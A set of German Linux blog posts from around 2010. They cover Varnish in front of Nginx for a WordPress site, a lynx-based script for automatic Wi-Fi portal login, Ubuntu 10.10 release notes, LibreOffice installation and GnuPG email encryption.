Nginx + Varnish auf Debian/Ubuntu

Zurück zur „Webseiten beschleunigen“ – Übersicht

5.4) Nginx mit Varnish


„Varnish ist ein Web-Beschleuniger für dynamische Web-Seiten mit viel Inhalt. Im Gegensatz zu anderen Web-Beschleunigern, die häufig aus clientseitigen Proxies oder aus Servern entstanden, wurde Varnish von Grund auf als Web-Beschleuniger konzipiert.“ – Wiki


Als erstes erweitern wir unsere sources.list, so dass wir die Varnish-Software einfach installieren / updaten können:


Ubuntu:

echo "http://repo.varnish-cache.org/ubuntu/ lucid varnish-2.1" >> /etc/apt/sources.list


Debian:

echo "deb http://repo.varnish-cache.org/debian/ lenny varnish-2.1" >> /etc/apt/sources.list


Nun installieren wir Varnish…

curl http://repo.varnish-cache.org/debian/GPG-key.txt | apt-key add -
aptitude install varnish


Nun müssen wir einige Eistellungen an Varnish vornehmen, so dass dieser als erstes angesprochen wird…

vim /etc/default/varnish
# Configuration file for varnish
#
# /etc/init.d/varnish expects the variables $DAEMON_OPTS, $NFILES and $MEMLOCK
# to be set from this shell script fragment.
#

# Should we start varnishd at boot?  Set to "yes" to enable.
START=yes

# Maximum number of open files (for ulimit -n)
NFILES=131072

# Maximum locked memory size (for ulimit -l)
# Used for locking the shared memory log in memory.  If you increase log size,
# you need to increase this number as well
MEMLOCK=82000

# Default varnish instance name is the local nodename.  Can be overridden with
# the -n switch, to have more instances on a single server.
INSTANCE=$(uname -n)

## Configuration with VCL
#
DAEMON_OPTS="-a :80 \
             -T localhost:6082 \
             -f /etc/varnish/default.vcl \
             -S /etc/varnish/secret \
             -s file,/var/lib/varnish/$INSTANCE/varnish_storage.bin,1G"

## TEST
#
#DAEMON_OPTS="-a :80 \
#             -T localhost:6082 \
#             -f /etc/varnish/default.vcl \
#             -s malloc,512M \
#             -p lru_interval=3600 \
#             -p thread_pool_max=2000 \
#             -p listen_depth=2048 \
#             -p 'cc_command=exec cc -fpic -shared -Wl,-x -L/usr/include/libmemcached/memcached.h -lmemcached -o %o %s' \
#             -h classic,500009 \
#             -t 0"

## Alternative 3, Advanced configuration
#
# See varnishd(1) for more information.
#
# # Main configuration file. You probably want to change it :)
# VARNISH_VCL_CONF=/etc/varnish/default.vcl
#
# # Default address and port to bind to
# # Blank address means all IPv4 and IPv6 interfaces, otherwise specify
# # a host name, an IPv4 dotted quad, or an IPv6 address in brackets.
# VARNISH_LISTEN_ADDRESS=
# VARNISH_LISTEN_PORT=6081

#
# # Telnet admin interface listen address and port
# VARNISH_ADMIN_LISTEN_ADDRESS=127.0.0.1
# VARNISH_ADMIN_LISTEN_PORT=6082
#
# # The minimum number of worker threads to start
# VARNISH_MIN_THREADS=1
#
# # The Maximum number of worker threads to start
# VARNISH_MAX_THREADS=1000
#
# # Idle timeout for worker threads
# VARNISH_THREAD_TIMEOUT=120
#
# # Cache file location
# VARNISH_STORAGE_FILE=/var/lib/varnish/$INSTANCE/varnish_storage.bin
#
# # Cache file size: in bytes, optionally using k / M / G / T suffix,
# # or in percentage of available disk space using the % suffix.
# VARNISH_STORAGE_SIZE=1G
#
# # File containing administration secret
# VARNISH_SECRET_FILE=/etc/varnish/secret
#
# # Backend storage specification
# VARNISH_STORAGE="file,${VARNISH_STORAGE_FILE},${VARNISH_STORAGE_SIZE}"
#
# # Default TTL used when the backend does not specify one
# VARNISH_TTL=120
#
# # DAEMON_OPTS is used by the init script.  If you add or remove options, make
# # sure you update this section, too.
# DAEMON_OPTS="-a ${VARNISH_LISTEN_ADDRESS}:${VARNISH_LISTEN_PORT} \
#              -f ${VARNISH_VCL_CONF} \
#              -T ${VARNISH_ADMIN_LISTEN_ADDRESS}:${VARNISH_ADMIN_LISTEN_PORT} \
#              -t ${VARNISH_TTL} \
#              -w ${VARNISH_MIN_THREADS},${VARNISH_MAX_THREADS},${VARNISH_THREAD_TIMEOUT} \
#              -S ${VARNISH_SECRET_FILE} \
#              -s ${VARNISH_STORAGE}"
#


Nun muss du die Konfig anpassen, ich zeige hier ein Beispiel für meinen WordPress Blog… ggf. musst du für deine Webseiten jedoch noch weitere Einstellungen ändern.


vim /etc/varnish/default.vcl
backend default {
        .host = "127.0.0.1";
        .port = "8080";
}

acl purge {
        "localhost";
}

sub vcl_fetch {
        set beresp.ttl = 12h;
        set req.grace = 24h;
        if (req.url ~ "wp-(login|admin)") {
                return (pass);
        }
        if (req.url ~ "feed") {
                return (pass);
        }
        return (deliver);
        unset beresp.http.set-cookie;
        if (req.url ~ "\.(jpeg|jpg|png|gif|ico|swf|js|css|txt|gz|zip|rar|bz2|tgz|tbz|html|htm|pdf|pls|torrent)$") {
                set beresp.ttl = 48h;
        }

        remove req.http.X-Forwarded-For;
        set    req.http.X-Forwarded-For = req.http.rlnclientipaddr;
        if (req.url ~ "^/w00tw00t") {
                error 403 "Not permitted";
        }
        return(deliver);
}

sub vcl_deliver {
        if (obj.hits > 0) {
                set resp.http.X-Cache = "HIT";
                set resp.http.X-Cache-Hits = obj.hits;
        } else {
                set resp.http.X-Cache = "MISS";
        }
        remove resp.http.X-Varnish;
        remove resp.http.Via;
        remove resp.http.Age;
        remove resp.http.X-Powered-By;
}

sub vcl_recv {
        set req.grace = 6h;
        if (req.request == "PURGE") {
                if(!client.ip ~ purge) {
                        error 405 "Not allowed.";
                }
                purge("req.url ~ ^" req.url "$ && req.http.host == "req.http.host);
        }
        if (req.url ~ "\.(jpg|png|gif|gz|tgz|bz2|lzma|tbz)(\?.*|)$") {
                remove req.http.Accept-Encoding;
        } elsif (req.http.Accept-Encoding ~ "gzip") {
                set req.http.Accept-Encoding = "gzip";
        } elsif (req.http.Accept-Encoding ~ "deflate") {
                set req.http.Accept-Encoding = "deflate";
        } else {
                remove req.http.Accept-Encoding;
        }
        if( req.url ~ "^/wp-(login|admin)" || req.http.Cookie ~ "wordpress_logged_in_" ) {
                return (pass);
        }
        if (!(req.url ~ "wp-(login|admin)")) {
                unset req.http.cookie;
        }
        if (req.request != "GET" &&
                req.request != "HEAD" &&
                req.request != "PUT" &&
                req.request != "POST" &&
                req.request != "TRACE" &&
                req.request != "OPTIONS" &&
                req.request != "DELETE") {
                return (pipe);
        }
        if (req.request != "GET" && req.request != "HEAD") {
                return (pass);
        }
        if (req.http.Authorization || req.http.Cookie) {
                return (pass);
        }
        if (req.url ~ "\.(jpeg|jpg|png|gif|ico|swf|js|css|txt|gz|zip|rar|bz2|tgz|tbz|html|htm|pdf|pls|torrent)(\?.*|)$") {
                unset req.http.Authenticate;
                unset req.http.POSTDATA;
                set req.request = "GET";
                set req.url = regsub(req.url, "\?.*$", "");
                return (lookup);
        }
        unset req.http.cookie;
        return (lookup);
}

sub vcl_pipe {
        set bereq.http.connection = "close";
        if (req.http.X-Forwarded-For) {
                set bereq.http.X-Forwarded-For = req.http.X-Forwarded-For;
        } else {
                set bereq.http.X-Forwarded-For = regsub(client.ip, ":.*", "");
        }
}

sub vcl_pass {
        set bereq.http.connection = "close";
        if (req.http.X-Forwarded-For) {
                set bereq.http.X-Forwarded-For = req.http.X-Forwarded-For;
        } else {
                set bereq.http.X-Forwarded-For = regsub(client.ip, ":.*", "");
        }
}


Parallel müssen wir nun unseren Webserver, egal ob Apache oder in diesem Fall Nginx, auf den Port 8080 lauschen lassen.  Beim Nginx ist dies relativ simpel, du muss nur „listen 80“ -> „listen 8080“ ändern. Ich zeige an dieser Stelle jedoch einmal meine Nginx-Konfiguration für meinen WordPress Blog.

Wie immer gilt, erst verstehen, dann kopieren… :-)
server {
        listen 8080;
        server_name suckup.de www.suckup.de blog.voku-online.de linux.voku-online.de windows.voku-online.de ubuntu.voku-online.de allgemein.voku-online.de cdn1.voku-online.de cdn2.voku-online.de cdn3.voku-online.de cdn4.voku-online.de cdn5.voku-online.de *.suckup.de;
        root /var/www/www.suckup.de/web/;
        index index.php;
        access_log /var/log/nginx/suckup.access.log main;
        error_log /var/log/nginx/suckup.error.log;
        log_not_found on;

        ## Cache - testen
        open_file_cache max=2500 inactive=24h;
        open_file_cache_valid    24h;
        open_file_cache_min_uses 2;
        open_file_cache_errors   on;

        location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)(\?[0-9]+)?$ {
                root /var/www/www.suckup.de/web/;
                access_log off;
                expires max;
                break;
        }

        ## Optimierung - "(css/js).php" to "(css/js)"
        location /wp-content/plugins/wp-special-textboxes/css/ {
                location ~* \.(css.php)$ {
                        if ($args ~* ver=(.*)$) {
                                rewrite ^ $scheme://$host/wp-content/cache/wp-special-textboxes.css? permanent;
                        }
                }
        }
        location /wp-content/plugins/wp-special-textboxes/js/ {
                location ~* \.(js.php)$ {
                        if ($args ~* ver=(.*)$) {
                                rewrite ^ $scheme://$host/wp-content/cache/wstb.js? permanent;
                        }
                }
        }
        if ($args ~* ver=3.0.1$) {
                rewrite ^ $scheme://$host/wp-content/cache/wp-special-textboxes.css? permanent;
        }

        if (-f $request_filename) {
                break;
        }
        if (!-e $request_filename) {
                rewrite ^(.+)$ /index.php?q=$1 last;
        }

        # -----------------------------------------
        # http://wiki.nginx.org/Wordpress

        ## remove any multislashes //
        if ($request_uri ~* "\/\/") {
                rewrite ^/(.*) $scheme://$host/$1 permanent;
        }

        ## Slash am Ende anfuegen ?!?
        #if ($request_uri ~* "^[\w\-\/]+[^\/?]$") {
                #rewrite ^(.*)$ $scheme://$host$1/ permanent;
        #}

        ## www eifuegen
        #if ($host !~* ^(www|subdomain)) {
                #rewrite ^/(.*)$ $scheme://www.$host/$1 permanent;
        #}

        ## www vorne entfernen
        if ($host ~* ^www\.(.*)) {
                set $host_without_www $1;
                rewrite ^(.*)$ http://$host_without_www$1 permanent;
        }

        ## immer SSL verwenden
        #rewrite ^(.*) https://$server_name$1 permanent;

        ## immer HTTP verwenden
        #rewrite ^(.*) http://$server_name$1 permanent;

        ## Feedburner
        rewrite ^/e107_plugins/rss_menu/rss.php?(.*)$ http://suckup.de/feed/ last;
        if ($http_user_agent !~ (FeedBurner|Googlebot)) {
                rewrite ^/feed/?$ http://feeds.feedburner.com/suckup last;
                break;
        }

        ## WordPress3
        #if (!-e $request_filename) {
                #rewrite ^(.+)$ /index.php?q=$1 last;
                #break;
        #}

        ## WordPress3 MU
        #if (!-e $request_filename) {
                #rewrite ^.+/?(/wp-.*) $1 last;
                #rewrite ^.+/?(/.*\.php)$ $1 last;
                #rewrite ^(.+)$ /index.php?q=$1 last;
                #break;
        #}

        ## WordPress3 Multi-Domain
        rewrite ^.*/files/(.*)$ /wp-includes/ms-files.php?file=$1 last;
        if (!-e $request_filename) {
                rewrite ^.+/?(/ms-.*) $1 last;
                rewrite ^/files/(.+) /wp-includes/ms-files.php?file=$1 last;
                rewrite ^.+/?(/wp-.*) $1 last;
                rewrite ^.+/?(/.*.php)$ $1 last;
                rewrite ^(.+)$ /index.php?q=$1 last;
                break;
        }
        location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)(\?[0-9]+)?$ {
                access_log off;
                expires max;
                root /var/www/www.suckup.de/web/;
                rewrite ^/.(/wp-.*/.*.(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))(\?[0-9]+)?$ $1 last;
                break;
                rewrite ^.*/files/(.*(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))(\?[0-9]+)?$ /wp-includes/ms-files.php?file=$1 last;
                break;
                if (!-e $request_filename) {
                        rewrite ^.+/?(/wp-.*) $1 last;
                        rewrite ^.+/?(/.*.php)$ $1 last;
                        rewrite ^(.+)$ /index.php?q=$1 last;
                        break;
                }
        }

        ## WordPress-Forum
        if (!-e $request_filename) {
                rewrite ^/forums/topic/(.*)$ /forums/topic.php?q=$1 last;
                rewrite ^/forums/forum/(.*)$ /forums/forum.php?q=$1 last;
                rewrite ^/forums/profile/(.*)$ /forums/profile.php?q=$1 last;
                rewrite ^/forums/view/(.*)$ /forums/view.php?q=$1 last;
                rewrite ^/forums/tags/(.*)$ /forums/tags.php?q=$1 last;
                rewrite ^/forums/rss/(.*)$ /forums/rss.php?q=$1 last;
                rewrite ^/forums/bb-admin/ /forums/bb-admin/index.php last;
                rewrite ^/forums/ /forums/index.php last;
                break;
        }

        ## WordPress W3 Total Cache
        set $totalcache_file '';
        set $totalcache_uri $request_uri;
        if ($request_method = POST) {
                set $totalcache_uri '';
        }
        if ($query_string) {
                set $totalcache_uri '';
        }
        if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
                set $totalcache_uri '';
        }
        if ($totalcache_uri ~ ^(.+)$) {
                set $totalcache_file /wp-content/w3tc-suckup.de/pgcache/$1/_default_.html.gzip;
        }
        if (-f $document_root$totalcache_file) {
                rewrite ^(.*)$ $totalcache_file break;
        }

        ## WordPress SuperCache
        #set $supercache_file '';
        #set $supercache_uri $request_uri;
        #if ($request_method = POST) {
                #set $supercache_uri '';
        #}
        #if ($query_string) {
                #set $supercache_uri '';
        #}
        #if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
                #set $supercache_uri '';
        #}
        #if ($supercache_uri ~ ^(.+)$) {
                #set $supercache_file /wp-content/cache/supercache/$http_host/$1index.html;
        #}
        #if (-f $document_root$supercache_file) {
                #rewrite ^(.*)$ $supercache_file break;
        #}

        #if (!-e $request_filename) {
                #rewrite . /index.php last;
        #}

        # -----------------------------------------

        ## memchached test
        #location / {
                #default_type text/html;
                #add_header "Content" "text/html; charset=utf8";
                #charset utf-8;
                #set $memcached_key $uri;
                #memcached_pass 127.0.0.1:11211;
                #error_page 500 404 405 = @fallback;
        #}
        #location @fallback {
                #try_files $uri $uri/ @suckup;
        #}

        location / {
                try_files $uri $uri/ @suckup;
                sub_filter suckup.de:8080
                'suckup.de:80';
                sub_filter_once on;
        }

        location @suckup {
                include /etc/nginx/fastcgi_params;
                fastcgi_param SCRIPT_FILENAME $document_root/index.php;
                fastcgi_param QUERY_STRING q=$uri&$args;
                fastcgi_param SCRIPT_NAME /index.php;
                fastcgi_pass 127.0.0.1:11000;
        }

        location ~ \.php$ {
                try_files $uri @suckup;
                ## memchached test
                #set $memcached_key $uri;
                #memcached_pass  127.0.0.1:11211;
                fastcgi_index index.php;
                fastcgi_pass 127.0.0.1:11000;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include /etc/nginx/fastcgi_params;
        }

        ## .htaccess & .htpassword sperren
        location ~ /\.ht {
                deny  all;
        }
}

lynx automatisieren

Bei einigen W-LANs muss man sich vorher per Browser auf einer Authentifizierungsseite einloggen, um dies zu umgehen habe ich einfach den Login-Vorgang mit lynx aufgezeichnet und dies in ein Skript verpackt.


# mit lynx die Tastatur Eingaben aufzeichnen
lynx -cmd_log wlan.log http://www.google.de/
# und diese als "Makro" wieder ausführen
lynx -cmd_script=wlan.log http://www.google.de/


#!/bin/bash

TERM="xterm"; export TERM  
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:$PATH"

sleep 30  

# W-Lan Gateyway IP herausfinden ->
# Gateway-IPs | jedoch nicht eth | bei der Ausgabe muss vone 0.0.0.0 stehen | gewuenschte Ausgabe steht in an Stelle 10
# wenn man als Trennung der Zeichen ein Leerzeichen annimmt
GW=$(route -n | grep -v eth | grep -i "^0.0.0.0" | cut -f 10 -d " ")
# Variablen werden gesezt
PACKETS=3
STARTWERT=0
ENDWERT=5

# wenn die Variable "GW" nicht leer ist dann...
# (-z kann pruefen ob eine Variable leer ist)
if [ -n $GW ]; then
# ...solange der STARTWERT kleiner dem ENDWERT ist, wird folgendes ausgefuert
	while [ $STARTWERT -lt $ENDWERT ]; do
# schauen ob wir eine ANTWORT vom Gateway bekommen ->
# ping-test | Anzahl der zu sendenden / empfangenden Pakete | Ausgabe-Zeile auf "packets" eingrenzen | gewuenschte Ausgabe steht in an Stelle 4
# wenn man als Trennung der Zeichen ein Leerzeichen annimmt
		REQUEST=$(ping -qc $PACKETS $GW | grep packets | cut -f 4 -d " ")
# wenn die gesendeten Packete nicht der Anzahl der empfangenden entspricht...
		if [ $REQUEST != $PACKETS ]; then
# ...dann Variable = 1 -> Fehler
			EXITCODE=1
		else
# ...ansonsten Variable = 0 -> OK
			EXITCODE=0
		fi
# STARTWERT um 1 erhoehen, so dass die while-Schleife irgendwann beendet werden kann
		STARTWERT=$(expr $STARTWERT + 1)
	done
fi

# wenn alles OK war...
if [ $exitcode=0 ]; then
# ...wird lynx (Browser) mit User + Password automatisch gestartet
	gnome-terminal -e lynx -cmd_script=/home/lars/wlan.log http://www.google.de/
# und dem System wird mitgeteilt, dass alles OK ist
	exit 0
else
# bzw. dass ein Fehler aufgetreten ist
	exit 1
fi


Wenn man dieses Skript nun unter „/etc/network/if-up.d/“ anlegt, und in der Datei „/etc/network/interfaces“ unter dem Abschnitt z.B. „wlan0“ folgende Zeile einfügt:

post-up /etc/network/if-up.d/wlan_login.sh

…wird dieses ausgeführt, sobald das W-Lan verbunden ist. Wenn jemand noch eine bessere Möglichkeit kennt, würde ich diese gerne hören… :-)

Ubuntu-10.10 – Maverick-Meerkat

Canonical hat heute, am 10.10.10 exakt um 10:10:10 Uhr UTC die neue Ubuntu-Version – 10.10 (Maverick Meerkat) veröffentlicht. Die Zahlen sind eine Anspielung auf „Per Anhalter durch die Galaxis“, wo die Zahl 42 die Antwort auf alle Fragen ist. (Binär 101010 -> Zahl 42) Ubuntu 10.10 hat kein LTS (Long Term Support) und wird daher (nur) 18 Monate mit Updates versorgt.

ubuntu-logo

10.10



Neuerungen:

– Linux 2.6.35.4

– bessere Multitouch-Unterstützung

– ALSA-Patches zur Behebung von Problemen mit Soundkarten und Mikrophonen

– diversen Treiber-Updates

– Sicherheitsverbesserungen für ARM

– …

btrfs (Dateisystem)

schnellerer Bootvorgang

neuer Style (Themes, Icons, Hintergrundbilder, …)

Ubuntu-Desktop
Ubuntu-Desktop

neue Standard Schriftart (Ubuntu font family)

neue Paketquellen (Repository – „extra.ubuntu.com“)

proprietäre Software Unterstützung (mp3, Flash, …)

Ubuntu-Install
Ubuntu-Installation

– „Software-Center“ wurde aktualisiert (bittet nun auch kommerzielle Software und eine History-Funktion)

kauf-Software
kauf-Software

– „Ubuntu One“ wurde besser im Desktop (Dateimanager) integriert

Ubuntu One
Ubuntu One

– „Ubuntu„-Version

– GNOME 2.32

– Sound-Indikatoren-Menü

Indikatoren
Indikatoren

– Shotwell ersetzt F-Spot (Fotoverwaltung)

Shotwell
Shotwell

– Evolution (E-Mail Client) wurde aktualisiert

– Gwibber (Twitter Client) wurde aktualisiert

– Ubuntu Netbook Edition kurz UNE (alte Bezeichnung „Ubuntu Netbook Remix“)

Unity (Standardoberfläche)

Unity
Unity

– Evolution Express (E-Mail Client)

– „Kubuntu-Version

– KDE 4.5.1 (Qt 4.7)

– PulseAudio

– Rekonq (Webbrowser)

– Bluedevil (Bluetooth-Anwendung)

Xubuntu„-Version

Xfce 4.6.2

– Parole (Media-Player)

– Xfburn (Brenn-Software)

– xfce4-taskmanager (Task-Manager)

Edubuntu-Version

Gnome Nanny (Zugriffsbeschränkung für Kinder)

– OEM-Installationsmodus

Ubuntu Studio -Version

– PulseAudio und JACK wurden verbessert (Soundserver)

– gnome-network-admin (Netzwerkkonfiguration-Tool)

Mythbuntu -Version

MythTV 0.23.1

 

Übersicht:

Komponente

Programm

Version

Bildbetrachter Shotwell 0.7.2
Brennprogramm Brasero 2.32
Browser Firefox 3.6.10
Chat-Programm Empathy 2.32
Compiler GCC 4.4.4
Datei-Manager Nautilus 2.32
Desktop Gnome 2.32
Desktop Unity 0.2.46
E-Mail-Programm Evolution 2.30.3
Kernel Linux 2.6.35
Musikplayer Rhythmbox 0.13.1
Office-Suite OpenOffice 3.2.1
Torrent-Client Transmission 2.04
Twitter-Client Gwibber 2.32
Videobearbeitung Pitivi 0.13.5
Videoplayer Totem 2.32

 

Download:

http://releases.ubuntu.com/10.10/


Ubuntu:
Alternate CD (64-bit)
Alternate CD (32-bit)

Desktop-Edition (64-bit)
Desktop-Edition (32-bit)

Server Edition (64-bit)
Server Edition (32-bit)


Kubuntu:
Desktop CD, 32bit
Desktop CD, 64bit

Desktop DVD, 32bit
Desktop DVD, 64bit

Desktop Alternate CD, 32bit
Desktop Alternate CD, 64bit


Weitere Versionen:
Xubuntu xubuntu.org/news/10.10-release

Edubuntu edubuntu.org/news/10.10-release

Mythbuntu mythbuntu.org/10.10/release

Ubuntu Studio wiki.ubuntu.com/UbuntuStudio/10.10release_notes



Die nächste Ubuntu-Version 11.04 soll übrigens im April 2011 erscheinen und den Codenamen Natty Narwhal haben.


Quellen:

http://www.pro-linux.de/news/1/16259/ubuntu-1010-veroeffentlicht.html

http://www.linux-community.de/Internal/Artikel/Online-Artikel/Das-ist-neu-in-Ubuntu-10.10-alias-Maverick-Meerkat

https://lists.ubuntu.com/archives/ubuntu-announce/2010-October/000139.html

LibreOffice Installation unter Debian / Ubuntu

In diesem HowTo beschreibe ich wie du LibreOffice auf Debian/Ubuntu installierst. Kurz zum Hintergrund, warum OpenOffice zu -> LibreOffice wurde:

Gegründet wurde die Stiftung von verschiedenen Mitgliedern von OpenOffice.org. Auf der Webseite von „The Dokument Foundation“ findet sich einer Liste der Gründungsmitglieder, diese haben diesen Schritt gewagt, da seit der Übernahmen von Sun durch Oracle nur noch wenige Ressourcen aus der Hamburger Entwicklungsabteilung ins Projekt eingeflossen seien. (Quelle: heise.de) Nun haben auch schon einige Firmen (GoogleNovell und Red Hat) angekündigt die neue Foundation zu unterstützen. Wer diesbezüglich noch mehr Infos sucht, kann sich folgenden Artikel durchlesen -> ikhaya.ubuntuusers.de


„Eine Abspaltung (auch Fork; engl. fork = Gabel, üblicherweise als Maskulinum verwendet) ist in der Softwareentwicklung ein Entwicklungszweig nach der Aufspaltung eines Projektes in zwei oder mehr Folgeprojekte, wobei Teile des Quellcodes und seiner Historie kopiert werden und dann unabhängig von dem ursprünglichen Projekt weiterentwickelt werden.“ – Wiki


libreoffice


libreoffice-menü


Installation unter Ubuntu:




Fremdpakete können das System beschädigen -> wiki.ubuntuusers.de/fremdquellen


sudo add-apt-repository ppa:libreoffice/ppa
sudo apt-get update
sudo apt-get install libreoffice
Gnome:
sudo apt-get install libreoffice-gnome
KDE:
sudo apt-get install libreoffice-kde


ggf. findest du hier noch weitere Infos …



Installation unter Debian:


Fremdpakete können das System beschädigen


1.) Deinstallation von OpenOffice

sudo aptitude purge openoffice.org-base openoffice.org-base-core openoffice.org-common openoffice.org-gnome


Zwei mal mit „Y“ bestätigen…

– Diese Lösung akzeptieren? [Y/n/q/?] Y

– Wollen Sie fortsetzen? [Y/n/?] Y

… und schon wird OpenOffice deinstalliert.


2.) LibreOffice (+deutsche Sprachdatei) herunterladen

Darauf achten, ob man die 32-Bit oder die 64-Bit Version herunterlädt.


32-Bit:
cd /tmp
wget http://ftp5.gwdg.de/pub/tdf/libreoffice/stable/3.3.0/deb/x86/LibO_3.3.0_Linux_x86_install-deb_en-US.tar.gz
wget http://ftp5.gwdg.de/pub/tdf/libreoffice/stable/3.3.0/deb/x86/LibO_3.3.0_Linux_x86_langpack-deb_de.tar.gz
64-Bit:
cd /tmp
wget http://download.documentfoundation.org/libreoffice/stable/3.3.0/deb/x86_64/LibO_3.3.0_Linux_x86-64_install-deb_en-US.tar.gz
wget http://download.documentfoundation.org/libreoffice/stable/3.3.0/deb/x86_64/LibO_3.3.0_Linux_x86-64_langpack-deb_de.tar.gz


3.) Datei entpacken

tar -xzvf LibO_3.3.0_Linux_x86_install-deb_en-US.tar.gz
tar -xzvf LibO_3.3.0_Linux_x86_langpack-deb_de.tar.gz


4.) Update LibreOffice

Falls bereits eine frühere Version von LibreOffice installiert ist, kannst du diese mit diesem Skript aktualisieren.

cd en-US
sudo ./update


5.) Installation von LibreOffice

cd DEBS
sudo dpkg -i *.deb
sudo dpkg -i desktop-integration/*menus*.deb

cd /tmp/DE/DEBS
sudo dpkg -i *.deb


E-Mail-Verschlüsselung per GnuPG

GnuPG (gpg) ist ein Kryptografie-System, dass heißt das Dateien und somit auch E-Mails mit einem öffentlichem Schlüssel verschlüsselt werden können und nur du dieser mit deinem privaten Schlüssel wieder entschlüsseln kannst. Wenn du nun verschlüsselte E-Mails empfangen möchtest, benötigst du als erstes einmal ein solches Schlüsselpaar, danach musst du den öffentlichen Schlüssel (wie der Name schon sagt) veröffentlichen, jemand muss diesen herunterladen und verwenden.Somit können andere Leute dir verschlüsselt Mails senden und nur du kannst diese lesen.


Ich werde den Vorgang anhand eines Beispieles erklären und immer verdeutlichen auf welcher Kiste (PC) ich gerade bin.


Debian

Auf dem Debian System hab ich Mutt (Mail-Client) und GnuPG installiert, um das Schlüsselpaar zu erzeugen und die verschlüsselten E-Mails per Mutt (am Ende vom Blog-Post) abzurufen und zu entschlüsseln.

1.) Die nötige Software installieren…

aptitude install pgp mutt

2.) Schlüssel erzeugen

(Bitte deinen Namen & Mail-Adresse angeben)

gpg --gen-key

gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
<n>  = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
„Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>“

Real name: Lars Moelleken
Email address: voku@voku-online.de
Comment:
You selected this USER-ID:
„Lars Moelleken <voku@voku-online.de>“

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
..+++++
.+++++
..+++++
.+++++
gpg: key E0000000 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/E0000000 2010-09-28
Key fingerprint = 0000 0000 0000 0000 0000  0000 0000 0000 0000 0000
uid                  Lars Moelleken <voku@voku-online.de>
sub   00000/C0000000 2010-09-28

3.) öffentlichen Schlüssel veröffentlichen

Wenn du die zuvor angegebenen Daten ggf. noch einmal ändern möchtest, kannst du dies mit dem folgendem Befehl bewerkstelligen, ansonsten… überspringe diesen Befehl einfach.

gpg --edit-key voku@voku-online.de

Nun schauen wir uns unseren öffentliche Schlüssel an, dort sollte nun bereits dein Name + E-Mail Adresse hinterlegt sein…

gpg --list-keys

… außerdem finden wir hier unsere Schlüssel-ID (Key-ID), welche wir benötigen, um den öffentlichen Schlüssel zu veröffentlichen.

gpg --send-key E0000000

Nun testen wir als erstes ob der Schlüssel bereits online verfügbar ist…

gpg --keyserver keys.gnupg.net --search-keys voku@voku-online.de


Ubuntu

Auf diesem System hab ich eine grafischen Mail-Client installiert (Claws-Mail) und den öffentlichen Schlüssel importiert und unterschrieben (beglaubigt), so dass ich verschlüsselte E-Mails verschicken kann, welche nur das zuvor erwähnte Debian System lesen kann.

1.) Die nötige Software installieren…

sudo aptitude install pgp gnupg-agent 
sudo aptitude install claws-mail claws-mail-pgpinline claws-mail-pgpmime
sudo aptitude install seahorse

Ggf. sind einige der Programm bereits auf deinem System installiert.

2.) Öffentlichen Schlüssel importieren

Nun können wir mit dem folgendem  Befehl, den Öffentlichen-Key importieren…

gpg --keyserver keys.gnupg.net --search-keys voku@voku-online.de

… nun können wir uns die Key-ID mit folgendem Befehl anschauen …

gpg --list-keys

… und mit diesem Befehl beglaubigen. (E00000000 muss natürlich durch deine angezeigte Key-ID ersetzt werden)

gpg --sign-key E0000000

3.) Software verwenden

Nachdem du in Claws-Mail das PGP Plugin aktiviert hast („Konfiguration“ -> „Erweiterungen / Plugins“) kannst du beim verfassen einer E-Mail unter dem Menüpunkt „Optionen“ -> „Datenschutzsystem“ -> „PGP MIME“  auswählen und danach „Optionen“ -> „Verschlüsseln“ und nun wird die E-Mail verschlüsselt versendet. Natürlich lassen sich die öffentlichen und auch privaten Schlüssel global im System verwenden, so dass du nun auch z.B. mit „evolution“ verschlüsselte E-Mails versenden kann


Debian

Wenn du ggf. deinen privaten Schlüssel, zum lesen von erhaltenen E-Mails auf mehreren PCs verwenden möchtest, musst du diesem erst Exportieren und auf dem Ziel-PC wieder importieren, wenn das nicht der Fall sein sollte, kannst du diese Schritte überspringen.

1.) Privaten Schlüssel abspeichern

Der nachfolgende Befehl exportiert deinen privaten Schlüssel, also Vorsicht wo du diesen abspeicherst und wie du diesen auf einen anderen PC kopierst.

gpg --export-secret-keys > secret.keys


Ubuntu

2.) Privaten Schlüssel importieren

Wenn wir den Key z.B. per „scp“ auf unseren zweit Rechner kopiert haben, können wir diesen mit folgendem Befehl einfügen. (und die Datei danach löschen)

gpg --import secret.keys

Zusätzlich zu den bereits installieren Programmen installieren wir nun noch „seahorse-plugin“ …

seahorse-plugins

